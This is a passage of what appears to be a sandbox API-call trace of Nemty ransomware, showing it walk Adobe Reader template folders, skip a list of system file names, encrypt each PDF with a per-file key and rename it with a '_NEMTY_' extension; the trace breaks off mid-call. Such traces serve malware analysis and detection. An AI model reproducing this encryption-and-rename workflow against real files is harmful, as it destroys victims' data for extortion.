[0171.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.410] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x19ce67d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19ce67d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0171.410] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0171.411] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x19ce67d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19ce67d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0171.411] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0171.411] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0171.411] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x106d4, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0171.411] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".") returned 1 [0171.411] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="..") returned 1 [0171.411] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="...") returned 1 [0171.411] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="windows") returned -1 [0171.411] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0171.411] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="rsa") returned -1 [0171.411] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="NTDETECT.COM") returned -1 [0171.411] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntldr") returned -1 [0171.411] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="MSDOS.SYS") returned -1 [0171.411] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="IO.SYS") returned -1 [0171.411] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0171.411] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0171.411] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="AUTOEXEC.BAT") returned -1 [0171.411] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntuser.dat") returned -1 [0171.411] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="desktop.ini") returned -1 [0171.411] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="CONFIG.SYS") returned -1 [0171.411] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="RECYCLER") returned -1 [0171.411] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="BOOTSECT.BAK") returned -1 [0171.411] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="bootmgr") returned -1 [0171.411] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="programdata") returned -1 [0171.411] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="appdata") returned -1 [0171.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0171.412] Sleep (dwMilliseconds=0x5) [0171.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19d32a90, dwHighDateTime=0x1d561e8)) [0171.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19d32a90, dwHighDateTime=0x1d561e8)) [0171.426] GetLastError () returned 0xb7 [0171.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.426] GetLastError () returned 0xb7 [0171.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.426] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0171.426] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0171.427] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0171.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0171.427] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e5dc | out: pszString="BYxK95Vf5jNmSON/IljsAPzJgnosX0Znlg0hmLtCYTFP7jeAkdlUwAyAKFR5UJDO\r\nayuhGLgesSNRh7rs+d7OOyyohqjOHKMz4Hs0MyOt42MyXK004VMX7tzu7I3eTEIb\r\n3ajv3HNT4K8t5ac+ee4I0PD/70DkmAQkNkbmeWrpgLuxqxOI+LmwqH4IYgAHF/xd\r\nj9EmrtcDtnDmSRnk9eJ9iMlSB1SgAmL+D9yK/vqnMrZsJv/qjWE3uj7gprsGH2AV\r\nLhsetl/R697PE4Xbm3O1sxT5xyNsZcpnPTqY/b3mEa8pLqjESyIIjMuYL3WiIb47\r\nq+NqLECFWkvO4Lyuhc8oIg==\r\n", pcchString=0x653e5dc) returned 1 [0171.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0171.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0171.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.427] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0171.427] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=67284) returned 1 [0171.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106d0) returned 0x6352c48 [0171.427] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.427] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x106d0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x106d0, lpOverlapped=0x0) returned 1 [0171.433] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.434] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x106d0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x106d0, lpOverlapped=0x0) returned 1 [0171.434] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.434] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=67284, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x106d4 [0171.434] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340240*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340240*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0171.434] CloseHandle (hObject=0x3b0) returned 1 [0171.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0171.434] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.434] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.434] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0171.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0171.434] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0171.434] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.434] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\AdobeID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\adobeid.pdf._nemty_kgobjgd_")) returned 1 [0171.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0171.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0171.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0171.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.438] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x101bc, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0171.439] lstrcmpiW (lpString1="DefaultID.pdf", lpString2=".") returned 1 [0171.439] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="..") returned 1 [0171.439] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="...") returned 1 [0171.439] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="windows") returned -1 [0171.439] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0171.439] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="rsa") returned -1 [0171.439] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="NTDETECT.COM") returned -1 [0171.439] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntldr") returned -1 [0171.439] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="MSDOS.SYS") returned -1 [0171.439] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="IO.SYS") returned -1 [0171.439] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0171.439] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0171.439] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0171.439] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntuser.dat") returned -1 [0171.439] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="desktop.ini") returned -1 [0171.439] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="CONFIG.SYS") returned 1 [0171.439] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="RECYCLER") returned -1 [0171.439] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="BOOTSECT.BAK") returned 1 [0171.439] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="bootmgr") returned 1 [0171.439] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="programdata") returned -1 [0171.439] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="appdata") returned 1 [0171.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0171.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.440] Sleep (dwMilliseconds=0x5) [0171.442] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19d58bf0, dwHighDateTime=0x1d561e8)) [0171.442] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19d58bf0, dwHighDateTime=0x1d561e8)) [0171.442] GetLastError () returned 0x0 [0171.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.442] GetLastError () returned 0x0 [0171.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.442] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0171.442] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0171.442] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0171.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0171.442] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e5dc | out: pszString="H1NlabdFHX2/S4JmDs/tpYOThDn7E9Nfwl8E9oMemvHc7t45IixrwIaDqwJWPesg\r\n1oYwj+AxlnZsbRSKk/WRlYSBHhVlDpffk83d/+BhLMPqiy6s3qPz4rO1wcD9d5eD\r\nKgw3AHIJDTyg0D7qH+tYQJhGJz8EdVXJ75F/i3G5GlPF9dLDrll/YSRWHfcWPRuD\r\nFmoPO9mn8q5gSTmabHrv37kvIJSDLNRfIyK8PsL4CrQlbWYHMDVd7s44wsEuSGus\r\nbZjED9+W4DbBPmAjdESz7a7pFWade224d58p+YaxhmQJfiuP0Acn2JzXIYh8MzjO\r\nVVGxa2owHn6N8/i4CxqhhA==\r\n", pcchString=0x653e5dc) returned 1 [0171.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0171.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0171.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.442] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0171.443] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=65980) returned 1 [0171.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x101b0) returned 0x6352c48 [0171.443] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.443] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x101b0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x101b0, lpOverlapped=0x0) returned 1 [0171.448] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.448] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x101b0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x101b0, lpOverlapped=0x0) returned 1 [0171.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.449] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=65980, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x101bc [0171.449] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340240*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340240*, 